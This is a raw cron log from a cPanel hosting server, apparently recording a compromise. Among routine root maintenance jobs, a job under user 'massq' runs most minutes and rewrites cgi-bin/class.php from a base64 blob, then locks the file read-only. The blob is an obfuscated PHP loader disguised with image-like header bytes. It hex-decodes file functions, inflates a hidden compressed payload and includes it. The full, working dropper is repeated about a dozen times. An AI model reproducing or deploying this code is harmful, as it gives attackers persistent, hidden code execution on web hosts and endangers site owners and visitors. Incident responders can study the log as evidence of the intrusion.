Sep 11 15:32:01 server CROND[26521]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:33:01 server CROND[26898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:33:01 server CROND[26899]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:33:01 server CROND[26900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:34:01 server CROND[27364]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:34:01 server CROND[27365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:34:01 server CROND[27368]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:35:01 server CROND[27747]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 15:35:01 server CROND[27749]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 15:35:01 server CROND[27754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:35:01 server CROND[27758]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 15:35:01 server CROND[27761]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 15:35:01 server CROND[27759]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 15:35:01 server CROND[27760]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:35:01 server CROND[27762]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 15:35:01 server CROND[27763]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:36:01 server CROND[28598]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:36:01 server CROND[28599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:36:01 server CROND[28600]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:37:01 server CROND[28968]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:37:01 server CROND[28969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:37:01 server CROND[28970]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:38:01 server CROND[29343]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:38:01 server CROND[29344]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:38:01 server CROND[29346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:39:01 server CROND[29727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:39:01 server CROND[29728]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:39:01 server CROND[29729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:39:01 server CROND[29731]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 15:40:01 server CROND[30227]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 15:40:01 server CROND[30228]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 15:40:01 server CROND[30236]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 15:40:01 server CROND[30235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:40:01 server CROND[30237]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:40:01 server CROND[30239]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 15:40:01 server CROND[30233]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 15:40:01 server CROND[30234]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:41:01 server CROND[31076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:41:01 server CROND[31077]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:41:01 server CROND[31078]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:42:01 server CROND[31454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:42:01 server CROND[31455]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:42:01 server CROND[31457]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 15:42:01 server CROND[31456]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:43:01 server CROND[31830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:43:01 server CROND[31832]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 15:43:01 server CROND[31831]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 15:44:01 server CROND[32197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 15:44:01 server CROND[32198]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
